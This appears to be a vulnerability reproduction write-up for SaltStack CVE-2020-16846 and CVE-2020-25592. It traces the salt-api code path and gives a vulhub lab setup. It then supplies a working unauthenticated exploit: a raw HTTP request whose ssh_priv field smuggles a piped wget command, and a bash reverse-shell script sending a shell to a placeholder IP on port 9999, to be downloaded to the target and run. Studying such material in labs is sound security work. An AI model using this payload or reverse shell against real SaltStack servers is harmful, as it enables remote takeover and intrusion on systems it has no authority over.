Saltstack Unauthorized Access Command Execution Vulnerability Cve 2020 16846 25592
SaltStack Unauthorized Access Command Execution Vulnerability CVE-2020-16846 25592
Vulnerability Description
On November 4, 2020, SaltStack officially released a security update announcement, in which CVE-2020-16846 and CVE-2020-25592 are used in combination to execute arbitrary commands through the salt-api interface without authorization.
Vulnerability Impact
SaltStack Version 3002
SaltStack Version 3001.1, 3001.2
SaltStack Version 3000.3, 3000.4
SaltStack Version 2019.2.5, 2019.2.6
SaltStack Version 2018.3.5
SaltStack Version 2017.7.4, 2017.7.8
SaltStack Version 2016.11.3, 2016.11.6,2016.11.10
SaltStack Version 2016.3.4, 2016.3.6,2016.3.8
SaltStack Version 2015.8.10, 2015.8.13
Environment construction
1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/saltstack/CVE-2020-16846
docker-compose up -d
Vulnerability reappears
The salt-api REST interface uses the cherrypy framework by default. From the implementation of the run interface, it can be seen that the methods in the NetapiClient class are dynamically called through the client parameters.
The following convention is adopted for specifying the code location in the article FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
The low parameter is an external incoming parameter, and the salt.utils.args.format_call method assigns the parameter to `kwargs.
salt/netapi/init.py:NetapiClient.ssh()
Follow up, the path is as follows:
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()
This method updates the value of the kwargs external controllable parameter opts variable, which can be understood as the environment variable of the SaltStack system, and uses this variable to initialize salt.client.ssh.SSH.
salt/client/ssh/init.py:SSH.__init__()
The value of priv is obtained from the opts variable and the salt.client.ssh.shell.gen_key()
method is called
salt/client/ssh/shell.py:gen_key()
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /run HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|wget https://xxx.dnslog.cn
The method to rebound shell, write the bash file first, the content is a rebound shell statement, and use wget to download it to the target.
1
2
#!/bin/sh
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'
Listen to the port, use /bin/bash
to run the file rebound shell